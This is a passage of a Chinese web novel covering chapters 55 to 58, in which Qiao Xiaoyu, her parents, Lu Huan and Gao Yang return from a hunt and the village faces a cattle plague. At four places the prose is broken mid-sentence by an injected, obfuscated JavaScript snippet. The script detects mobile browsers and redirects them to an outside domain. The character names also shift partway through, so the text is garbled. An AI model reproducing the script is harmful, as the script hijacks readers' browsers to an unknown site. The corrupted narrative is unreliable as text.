“因为这些搅和作一团的事情已有官府断案，湾子里已经有了新的里正，这件事对我家，又或者村里的其他农户都已经有了一个交待。不是因为人没有立场，而是人更在意的，是自己的立场。” 乔小遇淡笑了笑，叹声道：“莫说他两家走的路子不是旁人能阻断的，对守着几亩薄田的农户而言，只消自己家里过得安乐祥和，不少一根玉米棒子，多收两篮子土豆，那便是最重要的事了。” 陆桓若有所思地点了点头，接着却是问道：“那你有没有想过，乔家村附近的那片陆家山林，以后交给谁家看护比较合适呢？” “或许长田叔家？”乔小遇端起小罐饮了口水，轻蹙的眉毛渐舒缓开来，道：“长田叔遇事愿为村里人出头，在湾子里很得农户们拥护，最重要的是，如今他已当选里正了。” 陆桓屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924383|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了笑意，“你家里不愿意？如果你家想领下这份差事，我可以去与陆家代族长说说……” “人还愿意听你的建议？不过就算这事能成，我也不希望麻烦你。”乔小遇抿唇一笑，语气定定然地道：“说实际些，我爹的性子不适合管这种事。” “我家在村里有些边缘化，我爹也不是个厉害角色，怕是看管不好。且若能从中得益，我爹膨胀过头，许就是下一个乔大闯也说不定哩……” 乔小遇放下小罐，侧目瞥了那一直打着呼噜的乔冉安一眼，接着沉吟出声，“若陆家的山林按照时令、区域和林木种类对外人开放，允许猎兽、抓松毛、砍伐弯折之木，才算得说计之长远。” “计之长远？”陆桓凝思了瞬，明澈的黑眸里渐泛起一股探究的意味来…… 乔小遇轻“嗯”了声，颔首道：“那么到时候，便不论是由谁家来看管这片山林，都没有什么太大的差别了。” 陆桓半蹲着的身躯因紧抑不主的笑意而微颤了颤，他摇了摇头，黑沉沉的眸子如清寥的夜色般，尽将乔小遇的身形笼罩而进，道：“可牛疫之后会发生饥荒。” “且不说陆氏当真准了自家山林对外人开放，就说沿用乔大闯看护时的规矩，拖罗河那湾子里的人可不见得会依什么时令区域的说法。”陆桓继续补充道：“饥荒当前，人会被逼迫到怎样的地步，是你所无法想象的。” 这是陆桓第二次与她谈及这种“想象”。 乔小遇摊了摊手，叹道：“能到什么地步？尽将树皮草根剥尽，野物猎完？我听家里人说过些当年的情景了……” 她抬了抬眼皮，径直迎上陆桓的目光，“可陆家的山林依旧是陆家的山林，不是么？既然没办法避免，且教陆氏得几分声名，便已足够了。” “得几分声名么？”陆桓须得承认，乔小遇所言在理不过。从某种程度上说，声名得扬这种事，不仅盛家庄热衷，陆氏何尝不是如此。 “你家既不愿帮着看护山林，那便算了，左右族老们回头会商定下此事。”陆桓凝眉思索片刻，终缓声说道。 乔小遇笑着点了点头，接着叮嘱道：“不过我爹娘并不知晓你是陆家村的人，关于看护陆氏山林的事，你可千万别在我爹跟前提。猎兽之事便已经很麻烦你了，你若再帮许多，我也不知我爹娘会索求到什么地步，才能得以满足。” 乔小遇回想起乔冉安明明心有所求，却因着好面子的缘故而不肯主动开口求人的别扭劲，心下不禁一阵发堵。 她明白陆桓的好意，也知应下看护陆家山林的事有益可得，且瞧瞧乔大闯出事前他家里如何风光便知道了……可乔小遇却还是回绝了。 她如今守着的小家，日子虽过得困苦些，却已经开始渐渐转变……乔小遇宁愿这个过程缓慢些，即便有朝一日谋了空子生财，乔冉安夫妻俩也会因为身后没有可倚仗的人物而继续安安稳稳地过日子。 55. 拜见先生 日头渐斜，坐在马背上的乔小遇紧拉了缰绳，原似一根木头般的身体渐学会了在上坡下坡时后仰前俯——到底没那么僵硬了，高扬便也止了嘲笑声，拖着酸软的腿主动走在队伍前头。 高扬原以为自己有马可骑，然未想陆桓不过往那深林里走一遭，便给乔小遇家猎了许多兽物，当中还有一头半大的野猪…… 这下可好，带来的箭几乎被陆桓用尽不说，连他的小黄马也被陆桓拉去驼东西了！ 高扬为此颇是不平，只谁教小黄马是在陆家长大的，莫瞧它一副烈脾气，在陆桓跟前却表现得十分柔顺…… 乔冉安夫妻俩亦装了整篮的野兔野鸡，陆桓最先劝他们挂几只在黑风的背上，可这对夫妻俩却反而客气起来，道说不必…… 直到陆桓劝言说若他们不挂，那便由他与高扬替二老背篮子的话后，傅娘子这才依了陆桓，并再三谢过。 “桓弟，要不咱们歇一会儿吧，也让小黄马它们吃些草。”高扬虽未唤言半句苦语，却终究忍不住对乔小遇投来幽怨的目光。 “那要不你与我同骑？”乔小遇抿唇问道。 她这话音方落，便听一旁的陆桓出言拒绝，“黑风身上还挂着些东西呢，并不松活，只怕高扬一上去，黑风前蹄便会直接跪下去。” 高扬听得这话，面上的促狭笑意倏然凝滞下来，牙缝里蹦出的字句尽融进凉风之中，“算你狠！” 若说此刻高扬心下不过存了某种打趣意味，那么陆桓嘴角那抹淡淡的笑意，以及黑风那道冲他所打的得意的响鼻，确真真将他惹得跳脚了…… 他的嗓音拔高了几分，道：“黑风这蠢马也能听得懂人话？” “瞧你们这一人一马的得意劲……呵！回头我且告诉你母亲，你这两日并未随我去听庄先生说课，而是进野山林耍了玩，看你以后的日子可怎么过！”高扬叉着腰杆，笑眯眯地吐舌说道。 陆桓轻笑不语，只缓步走到黑风身旁，伸手欲将乔小遇扶将下马…… “什么庄先生？所以你此番进山依旧是瞒了家里人的？”乔小遇直坐在马背上未肯下来，蹙眉问陆桓道。 陆桓无奈轻笑，修长的手指转而轻拍过马背，垂目缓声道：“你不用担心，便是再借高扬几个胆子，他也不敢真去我娘跟前告状。” “呵？”高扬听得这话，手头的缰绳朝身边齐膝的草叶上轻抽了下，戏笑道：“我怎么就不敢了？横竖都是你遭殃，难不成你母亲还能管到我头上来？” “你若与我母亲照实说，那不就意味着你爹在帮我们圆谎了么？”陆桓偏转过头，对高扬淡笑了笑，“亦连带着你，可算坐实了‘不正经’的名头……那我母亲怕真是要让你我断交了。” 高扬的脸瞬间塌了下来。他动了动唇，却不曾道出半个字词，而微僵的身体索性由了缰绳扯到别处去。 乔小遇的目光渐变得复杂。从两人的对话中，她已能窥听得什么，如陆桓母亲的行事风格，以及高扬父亲的性子…… 她怔怔地坐在马背上，耳听得陆桓的淡笑声连忙回身垂眸，而她终究来不及敛起自己脸上的情绪了…… 且迎上陆桓眸底的那抹温和笑意，乔小遇直觉脸皮一阵发烫，竟不知该说什么为好。 “还不下来？”陆桓轻笑着问。 乔小遇微愣了片刻，才似突然反应过来什么事一般，忙不迭地点了点头。 “我方才似乎不该发问？好似我有意探听人的私事一般。”乔小遇由陆桓轻扶着走到路边的一处小土埂上坐下后，忍不住胡思道。 而当她用余光朝陆桓轻瞥过去时，这种由内疚感所引发的“试探”却被陆桓偏侧过来的视线给捕捉了完全…… 乔小遇心下不由得激生出一种尴尬来，忙扶了扶额，咋舌将头偏往另一边去。 陆桓静静地看着她的反应，旋垂眸轻声道：“庄先生是白麓书院的院长。中秋之后，高扬便要离开族学，去白麓书院习书了。” “嗯？”乔小遇怔了片刻，旋将手臂缓放下来，明澈的目光静在陆桓身上停落……她反应过来，陆桓这是在回答她之前的疑问——庄先生是谁。 “庄先生曾入过朝堂，深谙科举文章之法，所以我母亲在得知高扬要去白麓书院的事后，便也让我随了师父去拜见庄先生。”陆桓凝声继续说道。 “原来如此。”乔小遇听过前情，不禁疑问道：“可你为什么不愿去呢？” 这话一问出口，乔小遇心里便开始懊恼，自知犯了“探人私事”的毛病的她，连忙摆手说道：“我这多添疑问，你若觉着不方便，不用理会我。” 陆桓呵笑了声，摇头叹说：“我不是不愿意去，只是还没想好。没想好是否要依了我母亲的意愿，没想好是否要径直离开陆氏族学……” 少年的嗓音略显得干哑，一如土埂上的草叶般，随着当中水分被秋风卷走便渐转枯黄。 “你言辞间似乎对那位老先生极为推崇，实际上是想去拜见的，是么？”乔小遇唇角微弯，对陆桓说道：“与其在这边纠结，不妨先去拜见的好，或许之后就能做出决定了。” “只怕去过之后，顾虑更多。”陆桓沉叹出声，而纷杂的情绪接着却被蹭上身来的黑风给打断了去……陆桓遂无奈起身，起手揪过几把稍显青嫩的草，凑到黑风嘴边喂与它吃。 日光渐染了一抹橘色，映照在少年清俊的侧脸上，无端地添了种沉郁感，尽管少年口中直叨言笑骂着“你这蠢马，出门在外怎还这般挑精拣肥”的话…… 陆桓又揪了两把绿草，却是不主动将草递到黑风跟前了，只没好气地摊开掌心，“看你这蠢马知不知道自己过来，还当真让少爷我伺候你啊。” 他的唇角挂着与这嬉趣话相适的笑意，然一双黑眸便仿佛那层叠着挂在山头的落霞般，教人心生恍惚，一时竟也分辨不清这是沉郁的美，还是美得沉郁…… 但不论如何，陆桓可以感受到的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924384|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这种沉郁终究被一双琥珀般的眸子裹陷而进了，而他的视线渐变得明晰起来。 …… 这是乔小佩第二次见到陆桓。 陆桓已然少了几分狼狈，只身上的血腥气却依旧把乔小佩惊愣在了原地。 好一会儿，这小糯米团子才歪巴了头，迟疑着问道：“你是上次抢我荞饼吃的陆哥哥？” 陆桓正忙着帮乔小遇家卸东西，听得乔小佩的问话，整张脸立时便黑了一半，“那分明是你给我的，怎么成了我抢你的？” 乔小佩瘪了瘪嘴，装了模样道：“要不是我姐姐开口，我才舍不得给你哩。” 陆桓一阵语塞，朝一旁投来促狭笑意的高扬紧瞪了眼，缓步走至乔小佩跟前，笑说道：“所以你之前只是为了哄你姐姐开心才将那饼送与我的，而心里甚是不情愿？” “唉，亏得你姐还夸你懂事了呢。”陆桓故作夸张地摇了摇头道。 而坐在门前石坎上歇息的乔小遇，此时也朝这边投来疑惑的视线——只等傅娘子递过一节高凳来与她坐，这视线才暂被隔断了去。 “也不是这样的啦，因为你帮了家里的忙……”乔小佩转着圆溜溜的眼睛，两根手指对着戳了戳道。 陆桓没忍住摇头失笑，抬手在乔小佩的头上揉了揉，话音温和地道：“那若是日后有机会你到朝州府来，我再赔你几张饼子可好？咱换肉馅的。” “当真？”乔小佩眼睛一亮，眼瞧着陆桓点头应下，她轻张的嘴巴往两颊边扩出一道弧度，傻笑着点了点头。 且瞧着小妹那双乌溜溜的小眼睛里笑意直溢，乔小遇几乎怀疑今儿这糯米团子是包了甜酥在里头的。 “你不怕陆桓了？竟叫得这般亲热。”乔小遇低头轻拉过妹妹抱在她腰际的小泥爪子，逗趣道。 高扬正巧在姐妹俩跟前走过，闻声转对乔小佩咧了咧嘴，道：“你陆哥哥那个冰坨子也值得你亲近？瞧他那一身，血糊糊、脏兮兮的，你还尽往他身上蹭……” “噫……”高扬话音微顿，瘪嘴一阵摇头。 乔小佩从她姐臂弯里探出小脑袋，上下打量了眼高扬那身可算得洁净的衣服，两道眉毛却如菜叶上爬行的毛毛虫一般弯皱起来，道：“那是因为陆哥哥打猎了呀。” “难道我没有打？”高扬凶巴巴地瞪了一眼乔小佩，接着却微怔着仰了仰头，轻吸了口气，自我怀疑道：“我似乎真没有打猎来着？” “可这也不能怪我啊！谁叫我的弓箭被你陆哥哥给强要了去用呢？害得我完全没有‘表现’的机会！”高扬气呼呼地转过视线来，对小糯米团子强调。 “噢！”乔小佩眨巴了下眼，忙不迭地点了点头。待高扬收回手指，折身往偏屋的方向离去后，乔小佩才低声对她姐问道：“姐姐，其实他是因为自己箭术不精才将弓箭借给陆哥哥的吧？” 乔小遇闻言，嘴角的笑意不由得微凝，接着终未忍住低笑出声，“你啊你……” 56. 记得借词 “倒也不尽然。你陆哥哥的木弓坏了，缠弓臂的布条又拆了给我用，便更不经拉了，所以才借用了高扬哥哥的弓箭。” 乔小遇以为这话算与高扬“挽回”了几分面子，可没想妹妹完全想到了别的点上，“陆桓哥哥真厉害……” 等大家伙将东西给搬了个完全时，天色已然黑了下来。 几颗星星挂在小院上空，光亮忽明忽暗的，乔小遇微仰着头看了片刻，渐觉着这方由围墙所圈砌住的夜空似乎也没想象中的那么遥远了，仿佛人只要用脚踮了地，就能伸手触摸到那层幽蓝的天屏一般。 但现实是，她的腿还伤着…… 乔小遇心下莫名地浮起一种失落感来……她听见偏屋里傅娘子与陆桓的对话，知陆桓二人歇一会儿便要离开了，便出声唤她娘出来。 “怎么了？”傅娘子一边就着粗布围裙擦了擦手，一边说道：“是不是觉着有些凉，想进屋去？来，娘搀着你。” 乔小遇摇了摇头，只问道：“他们是要离开了么？” “是啊，娘还想留他们饭来着……虽然我做的吃食口味一般。”傅娘子不好意思地笑了笑，叹声道：“两个孩子许是不想给咱们家里添麻烦，才这般推说的。” 乔小遇静静听着她娘说完，回头瞥了眼那抹从木窗里渗出来的橘色火光，轻声说道：“那家里若有什么能带在路上吃的，便给他们带一些，还有那两匹马……” “咦，黑风它们难道还在外头戏水么？” 乔小遇四顾了下，却未在院中瞧见两匹马的踪影，只得轻叹了声，沉吟道：“两匹马也是累了一天，路边吃的山草并不抵什么事，何况陆桓他们还要赶那么久的夜路……娘，你给两匹马和些玉米面吧。” “倒不用太细的，只从前咱们用来喂猪的玉米面皮筛过一遍就好，再和些苜蓿糠进去，加点凉水就成。” 傅娘子连连点头，“你说的是，咱家总不好亏待人的……那我这就去忙。” 乔小遇轻“嗯”了声，瞧着傅娘子从院角里拖出那只闲置不用的猪食盆来，倒水冲洗过，接着又拿了木瓢去偏房里舀面糠的仓促情形，她的嘴角不禁轻漾起一抹笑意，道：“娘，又没有人催您，您这动作大可轻些。” “呵？还嫌我阵仗大了？”傅娘子舀够了面糠，就着竹筛筛过一遍，而微张的口却险些被面糠粉呛到，乃至于话音一阵断断续续，“还不是你……支使我做的……” 乔冉安闻声不对，坐在小床上歇息的他直接往木窗里凑出半边脑袋，关切地问道：“媳妇儿，你这是怎么了？” “我……我是想着给那两匹马和些面吃。”傅娘子缓过口气来，用手背轻将眼中所蓄积的泪水给擦拭去。 陆桓紧忙放下手里的碗，出门却见傅娘子正兑水和面，不由得皱了皱眉，道：“怎么好意思这样麻烦你们……” “不麻烦不麻烦，不过是从前用来喂猪的粗粮罢了。”傅娘子轻笑着摆了摆手，“你去将马儿牵回来吧，只让它们喝些水怎么成的？” 陆桓身形微凝，目光转朝乔小遇的方向看去……不出意外的，那双如琥珀般晶莹的眸子里尽是一抹柔和笑意。 静看着乔小遇那张沾了些黄泥在上头的小脸片刻，陆桓眼中不禁泛起一抹戏笑，暗想此番乔小遇是“狼狈”到底了。 …… 两马争相舔食，傅娘子见黑风连洒落在木盆边缘的细面团都不放过，迟疑问道：“要不我再给它们和半盆来？” “您不用麻烦了，黑风舔食从来都这样，您就是给它扔些半腐而黄的碎草叶，它也会吃得干干净净。”陆桓轻笑着拍了拍马背，接着紧拉过缰绳，对傅娘子说道。 乔小遇还记得陆桓在回来路上说黑风“挑精拣肥”的话，且待陆桓一边牵了马缓步走向自己，乔小遇看清他脸上的神色后，心头疑问已转为叹息，“这人也实在是客气到家了。” “你的腿伤还未好，要多休息一段时间。之后便用热敷，家里若没有什么可用的药酒，我可使了人送来。”陆桓话音温和地道。 “你要走了？”乔小遇不曾应言，只怔蒙着这般问道。 陆桓轻轻颔首，一双黑色的眸子正如院中那口刚被打了些水上来的石井一般，当中水纹波动，倒映的月光也被搅得忽明忽暗。 “这怎么好麻烦哥儿给送药酒过来的，回头我与她爹会去县上一趟，便不过顺手一买的事。”傅娘子将桶里的井水“哗”地倒进猪食盆里，随即回过头来，爽朗笑道。 “傍晚时我在灶炉下烧了几个土豆，这会儿火重新烧起来，那土豆应也温热了。你们哥俩且等一等，我拿了给你们带路上吃。”傅娘子热情地招了招手，倒顾不得先将那猪食盆给涮洗出来了，只折身便往屋里钻去。 听着傅娘子用火钩刨灰的急动作声，乔小遇直觉得自己心下那股迷茫而纷乱的情绪便同那几个待在火洞里的土豆般，经了上方掉落的炭火星的烧灼后，渐转了质。 她看向陆桓，两人相视一笑。 傅娘子很快便出了门槛来，她用围裙兜着温烫的土豆，一边紧朝黑风马鞍处挂着的布袋子里拾放着，一边说道：“这土豆烧久了，表皮的锅巴偏厚了些，倒不知你们爱不爱吃。” “嘿嘿，我最喜欢嚼锅巴了，特别香！”高扬闻言，倒不知从哪儿跳出来的一般，径直往傅娘子的围兜里拿了一个去。 陆桓斜睨了眼高扬，淡声道：“昨天在山里时，你可不是这么说的。” “你给我那土豆早凉了好不？锅巴都硬得嚼不动，哪还能吃出什么味道！”高扬嘴角轻瘪，冷呵了口气道。 陆桓闻声稍愣，面色却不曾绷凝住，反是跟着傅娘子嘻笑出声，轻轻地摇了摇头。 “这土豆还得趁热吃，不然夜风一吹，就凉了。”乔冉安亦在旁边应和了那么句。 傅娘子被他这话提醒，似突然想起了什么一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924385|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，连忙拍了拍陆桓的手，嘱声二人再稍等一等，接着便又转朝偏屋里奔去——那动作直快得便仿佛身后有什么东西追着她跑一般。 乔冉安亦不知孩子她娘这是搞什么鬼，但听得傅娘子爬楼梯的声响后，才反应过来——傅娘子这是去拿野兔皮了。 “还是你娘想得周到。”乔冉安回头眯笑着冲女儿抬了抬下巴，夸赞道。 乔小遇颔首以应，心下却也有些哭笑不得，“没想到爹娘还记着陆桓之前的那句借词……” 总不好空手而归…… 当傅娘子硬将那几张兔皮塞入陶桓手中时，陶桓的那些推拒之词终究失了效用。 瞧得乔小曼爹娘这般热情的态度，陶桓原本和暖的脸色却仿佛经了烈阳炙烤般的焦凝了瞬，他嘴唇轻动，想要接着说些什么，手上的兔皮却被高扬抽了两张去。 “这兔毛摸着可滑溜了，回去我便让我娘就着给我做两双靴子。”高扬有些得意地瞥了一眼陶桓，眯眼笑道：“桓弟，我记得你母亲是不碰针线活的，这兔皮你似乎用不着啊，不如都给我好了？” 陶桓笑盈盈地将余下的几张兔皮都递到高扬手中，缓声说道：“给你也成，回头我自向师母讨要两双。” 高扬闻言不由得气噎，看着陶桓那张清秀的面庞，可恨不得将手头的兔皮尽往这人脸上扔去……众人见状皆忍俊不禁，而高扬终也未能绷住神情，“噗嗤”地笑出声来。 …… 小院上方的星星渐又多出了几颗，仿佛是从那道幽蓝天屏里掉落下来的一般，这教乔小曼莫名地觉着欣喜…… 而与此同时，乔小曼心里亦明白的是，这闪烁的星点再怎么瞧着触手可及，却也不会如银锭般“噗通”地掉进那条宽阔的拖罗河里，激起水花四溅。 她所能看到的，是马蹄翻起的泥尘随风上扬，蔓过月弯，然后融进一片银白的视野里，而她再也捕捉不到任何痕迹。 水声响动不停，融着渐弱的马蹄声，以一种极为和谐的节奏敲击着人的心门…… 直到妹妹轻唤出声，乔小曼方从这般怔懵的情绪里抽离出来，偏脸对妹妹轻笑了笑，低声道：“他们走了，咱们也回去吧，倒不知今晚爹娘会忙到什么时候。” 乔冉安与傅娘子又是一夜未睡。 直等带回来的野物都剥皮宰好时，天际已泛出一抹鱼肚白来。 “就只差腌了。”乔冉安背手锤着后腰，充血的眼睛紧泛出一种疼痛感，教他连耷下眼皮的动作都不得不小心翼翼。 傅娘子亦是精疲力尽。 她轻呼出了口气，蜡黄的面皮上却是一种紧抑不住的欣喜之色，“早弄早好，不然我这心里总悬着。今儿咱们再赶一把力，把肉腌好，明早就拉着板车把这些野兔肉给送到县里卖了……” 乔冉安听媳妇儿把事情安排得这样紧凑，后仰着的脖子似与上身脱离开来一般，弯折的姿势竟这般诡异地保持了片刻。 57. 里正娘子 “用板车？你难不成想着人拉？”乔冉安双眼骨碌一转，语气惊疑。 傅娘子奇怪地瞥了一眼乔冉安，“不然呢？你倒好意思开口给村里人借牛使的？如今家家自危，莫非你忘了村里的牛疫是怎么传进来的？但凡你开口说咱家要拉着牛去县里，人一听哪还敢答应？” “咱不能做那荒唐事，也担不起当中风险。若你要瞒着人去做，这借口也实不好找。如今咱家就指着这些野货了，若是在村里人跟前亮了财，可不知以后会惹出什么风波来。”傅娘子叹声说道。 乔冉安有些不自在地瘪了瘪嘴，语颓道：“若桓哥他俩没走，咱家便能借他们的马儿使了，倒也能省些力气。” “诶，对了，你还别说，桓哥他俩皆道自己的马儿脾性烈，还对人，可我一路上打量着，两匹马是再温顺不过了，随便个人也应当能使的。”乔冉安笑呵呵地道。 “呵，你可真会惦记！”傅娘子端过一盆清水来正打算洗手，且听得乔冉安这话，之前在山洞里碍于外人在场而没好得开训的话却都想起来了…… 她朝乔冉安翻了个白眼，斥道：“人是欠你什么债了，教你这般紧盯着？你就不能自个儿长点本事，不事事都倚仗人么？” “之前我便想说你了，连小遇都能看出你打的算盘，你就算没开口，一张嘴巴也算得是长在头顶上了！桓哥扬哥那样好的孩子，之所以主动帮忙，还不是为了免你尴尬？” “乔冉安，你心里就没点数的？”傅娘子目光冷冷地看向乔冉安，半晌才收回自己微梗着的脖子…… 到底心里憋忍了气，傅娘子把双手放进凉水里时竟都不曾想起那装了热水的茶壶就在旁边的，只快速揉搓着自己皲裂的手皮，而紧绷的脸上不曾流露出半分疼痛之色。 傅娘子的反应难得“激怒”到了乔冉安，只乔冉安性子如此，便觉着横受委屈，驳词也实在是歪折得没了边。 “你有什么好指责我的？你不也巴着乔长田的儿子么？当真以为人愿意和你结成亲家的？”尽管乔冉安说这话时声如蚊呐，人也微耷着眼皮，并不敢朝傅娘子的脸上看去，但周遭倏然凝冻而住的空气，他确是真切地感受到了。 乔冉安不知该怎样才能挽回自己方才的“失言”，只余光轻瞥过一旁的茶壶，连忙提了给傅娘子掺些热水——可傅娘子却直接端起木盆，将水往地板上泼开去。 “你这是做什么！”乔冉安吓得连连后退，唯恐热水烫到自己。 他的眸光径穿过那片从案板上散发出来的热气，又朝傅娘子问道：“媳妇儿，你没事儿吧？” 傅娘子却未应他的话，只反手将木盆摔在案板上，便折身回了屋去，留得乔冉安愣在原地…… 乔小遇与妹妹起床时，瞧得爹娘还在忙碌，可来回都互相避着，各不搭理，实觉着气氛一阵怪异。 “这是吵架了？”乔小佩用口型无声地与她姐传话道。 乔小遇坐在高凳上，朝妹妹几不可见地摇了摇头，旋收回视线，试着劝说爹娘去歇息一会儿…… 未想及的是，眼前的局面仿佛一根干柴火般，因往那木墩上一放，斧头一劈，分裂开来的部分便径朝空中弹飞开去——乔冉安默不作声地从偏屋里拿了锄头粪箕，跟着出门做活，而傅娘子则继续拿了扫帚扫地。 直到乔冉安的身影转至不见，傅娘子才对屋里那面面相觑的姐妹俩凝声说道：“自己做自己的事，别管你爹了！他想去砌墙是他的事，回头身子真倒下，便是怎么哼唧，也不是咱们的错处！” 乔小佩闻言吐了吐舌，接着低头洗脸，却是不敢再多问了，而乔小遇则微愣了愣，好不容易才将脸上的苦笑之色给绷住，暗道：“娘应当意识到了，爹上次是装病的……” “姐姐，给你手巾擦脸。你且等我一下，我去重新给你换盆热水来敷腿。” 乔小遇轻笑着接过乔小佩递过来的热乎乎的手巾，擦过脸上，一边自然而然地提起裤腿，等妹妹端水来。 而这时，乔宝树往她家来了。 耳听得棒槌轻敲在锣面上的“叮锵”声，乔小遇与她娘均不由得抬眼，朝院中看去。 “诶，竟是宝树来了。”傅娘子欢喜地扬了扬眉，立时便把先前与乔冉安吵架时的不快情绪给按压了下去，站在门边对乔宝树招手笑道。 乔宝树将铜锣轻提在臂弯处，着意用手紧夹，笑道：“我远瞧见您家的烟囱冒着烟，便猜你们已经起来了。” “这铜锣声音还怪响的，走在村里可招摇得紧，弄得我挺不好意思的，可我爹非要叫我挂在身上。”乔宝树将他那张涨红的脸稍稍压低了些，抿唇解释道。 “可是村里有什么重要事情要宣布？这大清早的……”傅娘子瞥了眼那面挂了红布条的铜锣，话音静顿住，面上渐浮起一抹不情愿的神色来。 “还不是关于牛疫的事？”乔宝树呵笑着道：“我知道您家里如今没有牛畜，这事自然与您家里没有多大干系，只县衙里隔日来人，除了送药材，还向村里人宣说外间牛疫的防治情形……” “要不，您和四伯也跟着过去听听？”乔宝树这般探问道，而其视线则随了傅娘子轻转向乔小遇的方向。 许是有些后怕，且这会儿身上确是有些疲乏了，傅娘子便是听了乔宝树的劝说，心下亦有些迟疑，想听听女儿的建议，而乔宝树的反应却是惊讶不已。 “小遇，你的腿是怎么回事？” 但见乔宝树快步朝自己走来，乔小遇心头不禁泛起一种局促感，连忙将裤腿放下，轻笑道：“没事，只是简单的拉伤……” “都肿成了那样，你还说没事？” “真没事。”乔小遇挡过乔宝树的胳膊，凝眉转过话题道：“去听听外头的情形也好的……娘，要不我带着妹妹过去看看？” 傅娘子轻掀了掀嘴唇，且瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924386|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得乔宝树臂弯那面铜锣上所反射出的金亮颜色，勉强挤出一抹笑容，朝乔宝树走近了些，道：“宝树啊，我与你四伯手头还有事要忙，且要照看小遇，这一趟还是算了吧。” “这怎么成？”乔宝树神情微变，回头看向乔小遇，却只见她低垂着眼睫，实辨不清人心里的想法…… 傅娘子倒生疑问，“怎么不成？难道此番过去，还需大伙商量着熬药砍柴的人选？这差事也轮不着我家吧。” “这……”乔宝树面色一阵尴尬，话音嗫嚅地道：“照理说确是这般，可……” “可什么可，小遇现在要注意将养。”傅娘子摆了摆手，却是打断了乔宝树的话，跟着道：“若里正和里正娘子觉着这不合规矩，再使了人来问，我傅娘子也是这句话。” 不自觉地，傅娘子的话音里掺杂了一种距离感，那声“里正和里正娘子”的称呼，听来是怎么都不太顺耳了。 乔宝树少于变通，想及自家之前有过对不住乔小遇一家的地方，而傅娘子许还记着当中苦处，说话便也跟着含混起来，笑道：“四伯母您哪里的话呢？” “我爹将村里人召作一处确是为了牛疫的事，只不好漏了哪家的，您说是不？”乔宝树余光瞥得乔小遇那淡淡的脸色，终究“妥协”下来，呵笑道：“如今小遇既受了伤，您留下照看也是应当。” “那我就真不过去了，回头问问村里人便好。”傅娘子的态度复转为热情，似乎方才那个说话生硬的人并非是她一般…… 乔小遇面色气凝着，而眉间仿佛蔓覆上了一层水雾般，变得沉郁起来，便连乔宝树再次启口问及她的伤势，乔小遇亦不过淡淡摇头，“我说了我没事。” 对面的乔宝树只得黯然地将手收了回去。 乔宝树所顾及到的是乔小遇的伤势，可他却没想过若此番是他娘亲自唤人过去，在听得乔小遇开口提说自己带伤过去后，他娘也定不会同意的——左右是不愿让村里人觉着自家刻意针对乔小遇一家罢了。 不过话说回来，县衙那边究竟传的什么消息呢？ 傅娘子回头还是紧忙着打听了个完全。 到底不是什么好事了，且应了那情形——人愈是担心什么，便愈是来什么。 当傅娘子一脸忧色地回到家里时，灶炉里的柴火已烧成了几节灰白。 除了乔小佩捡了碎瓦片来回撮土，在院里玩得不亦乐乎外，这家里的氛围比起平常直可算得诡异。 乔冉安蜷缩着躺在火边的小床上，呼噜打得震天响，而乔小遇这会儿累得紧了，随意地侧靠在黢黑的板壁上打盹，似乎完全不受这呼噜声的干扰。 “孩子她爹，你快起来，出事了……”傅娘子轻摇了摇乔冉安的身体，且见着乔冉安费劲地撑开眼皮，露出那双通红的眼，傅娘子却是忍不住低啜起来。 “这是怎么了？”乔冉安皱眉一问，两条胳膊已不自觉地发了凉。 58. 封山之令 乔小遇亦被此间声响吵醒…… 还惺忪着眼的她，且回瞥见得傅娘子急吸着气的情形，忙侧过身来，道：“娘，您先别急，慢慢说。” 傅娘子屏凝住呼吸，微凸的眼珠来回轻转，而上头所布集的血丝便仿佛一条条活过来的蚯蚓一般蠕动着，教人心悸。 接着她颤声解释道：“听官爷们说，如今朝州府已然被牛疫之事给搅得一团乱了，各地药草供给不足，尽管群牧司尽力调配，缺口依旧很大。” “所以官府的意思是，重情难愈的家畜还是尽早舍弃的好，分派给村里的药草也先紧了治疗耕牛，猪仔什么的就先放一放。” 